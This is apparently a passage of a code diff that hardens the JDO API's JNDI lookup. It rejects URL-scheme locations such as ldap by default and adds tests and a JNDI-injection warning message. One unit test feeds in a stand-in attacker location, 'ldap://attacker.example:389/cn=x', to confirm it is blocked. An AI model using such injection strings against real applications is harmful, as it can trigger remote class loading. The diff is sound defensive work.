* jndiLocation in the context context. If context is null
@@ -1459,6 +1493,11 @@ public static PersistenceManagerFactory getPersistenceManagerFactory(
* {@link #getPersistenceManagerFactory(String,Context,ClassLoader)} with
* Thread.currentThread().getContextClassLoader() as the loader argument.
*
+ * Security note: jndiLocation must come from trusted deployment
+ * configuration, never from request or user data. Locations with a URL scheme other than "java"
+ * (e.g. "ldap://...") are rejected unless the system property named by {@link
+ * #PROPERTY_ALLOW_URL_SCHEME_JNDI_LOCATIONS} is set to "true".
+ *
* @since 2.0
* @param jndiLocation the JNDI location containing the PersistenceManagerFactory
* @param context the context in which to find the named PersistenceManagerFactory
@@ -1476,6 +1515,11 @@ public static PersistenceManagerFactory getPersistenceManagerFactory(
* PersistenceManagerFactory} with loader. Any NamingExceptions thrown
* will be wrapped in a {@link JDOFatalUserException}.
*
+ *
Security note: jndiLocation must come from trusted deployment
+ * configuration, never from request or user data. Locations with a URL scheme other than "java"
+ * (e.g. "ldap://...") are rejected unless the system property named by {@link
+ * #PROPERTY_ALLOW_URL_SCHEME_JNDI_LOCATIONS} is set to "true".
+ *
* @since 2.0
* @param jndiLocation the JNDI location containing the PersistenceManagerFactory
* @param context the context in which to find the named PersistenceManagerFactory
@@ -1487,6 +1531,7 @@ public static PersistenceManagerFactory getPersistenceManagerFactory(
if (jndiLocation == null)
throw new JDOFatalUserException(MSG.msg("EXC_GetPMFNullJndiLoc")); // NOI18N
if (loader == null) throw new JDOFatalUserException(MSG.msg("EXC_GetPMFNullLoader")); // NOI18N
+ assertPermittedJndiLocation(jndiLocation);
try {
if (context == null) context = new InitialContext();
diff --git a/api/src/main/resources/javax/jdo/Bundle.properties b/api/src/main/resources/javax/jdo/Bundle.properties
index 208ef4561..58b699ef8 100644
--- a/api/src/main/resources/javax/jdo/Bundle.properties
+++ b/api/src/main/resources/javax/jdo/Bundle.properties
@@ -56,6 +56,11 @@ named "{0}" into a java.util.Properties object.
EXC_GetPMFNullJndiLoc: The JNDI location argument to this method cannot be null.
EXC_GetPMFNamingException: A NamingException was thrown while obtaining the \
PersistenceManagerFactory at "{0}" from JNDI.
+EXC_GetPMFUrlSchemeJndiLocation: The JNDI location "{0}" uses the URL scheme "{1}". \
+URL-scheme JNDI lookups select the naming provider from the location string and can \
+trigger remote class loading or deserialization (JNDI injection), so they are \
+disabled by default. If this location is trusted deployment configuration, set the \
+system property "{2}" to "true" to allow it.
EXC_GetPMFNullPointerException: The PersistenceManagerFactory class must define a static \
method \nPersistenceManagerFactory getPersistenceManagerFactory(Map props). \nThe class "{0}"\n\
defines a non-static getPersistenceManagerFactory(Map props) method.
diff --git a/api/src/test/java/javax/jdo/JDOHelperTest.java b/api/src/test/java/javax/jdo/JDOHelperTest.java
index 4da79f1ae..6ee12ec9b 100644
--- a/api/src/test/java/javax/jdo/JDOHelperTest.java
+++ b/api/src/test/java/javax/jdo/JDOHelperTest.java
@@ -500,6 +500,35 @@ void testUnknownStandardProperties() {
}
}
+ /** Test that a URL-scheme JNDI location is rejected by default. */
+ @Test
+ void testGetPMFUrlSchemeJNDIRejected() {
+ Context context = getInitialContext();
+ JDOFatalUserException ex =
+ Assertions.assertThrows(
+ JDOFatalUserException.class,
+ () ->
+ JDOHelper.getPersistenceManagerFactory("ldap://attacker.example:389/cn=x", context),
+ "URL-scheme JNDI location should result in JDOFatalUserException");
+ Assertions.assertTrue(
+ ex.getMessage().contains(JDOHelper.PROPERTY_ALLOW_URL_SCHEME_JNDI_LOCATIONS),
+ "Exception should mention the opt-in system property but was: " + ex.getMessage());
+ }
+
+ /** Test that a composite-name JNDI location is not blocked by the URL-scheme check. */
+ @Test
+ void testGetPMFCompositeNameJNDINotBlockedBySchemeCheck() {
+ Context context = getInitialContext();
+ JDOFatalUserException ex =
+ Assertions.assertThrows(
+ JDOFatalUserException.class,
+ () -> JDOHelper.getPersistenceManagerFactory("java:comp/env/jdo/PMF", context),
+ "Unbound JNDI name should result in JDOFatalUserException");
+ Assertions.assertFalse(
+ ex.getMessage().contains(JDOHelper.PROPERTY_ALLOW_URL_SCHEME_JNDI_LOCATIONS),
+ "Composite name must not be rejected by the URL-scheme check but was: " + ex.getMessage());
+ }
+
private Context getInitialContext() {
try {
return new InitialContext();
diff --git a/tck/src/main/resources/conf/jdo-signatures.txt b/tck/src/main/resources/conf/jdo-signatures.txt
index 01cc8ad77..b7c251a9b 100644
--- a/tck/src/main/resources/conf/jdo-signatures.txt
+++ b/tck/src/main/resources/conf/jdo-signatures.txt
@@ -254,6 +254,8 @@ public interface javax.jdo.Constants {
= "javax/jdo/jdoquery_3_0.xsd";
static String ANONYMOUS_PERSISTENCE_MANAGER_FACTORY_NAME
= "";
+ String PROPERTY_ALLOW_URL_SCHEME_JNDI_LOCATIONS
+ = "javax.jdo.allowUrlSchemeJndiLocations";
public static final String TX_READ_UNCOMMITTED = "read-uncommitted";
public static final String TX_READ_COMMITTED = "read-committed";
public static final String TX_REPEATABLE_READ = "repeatable-read";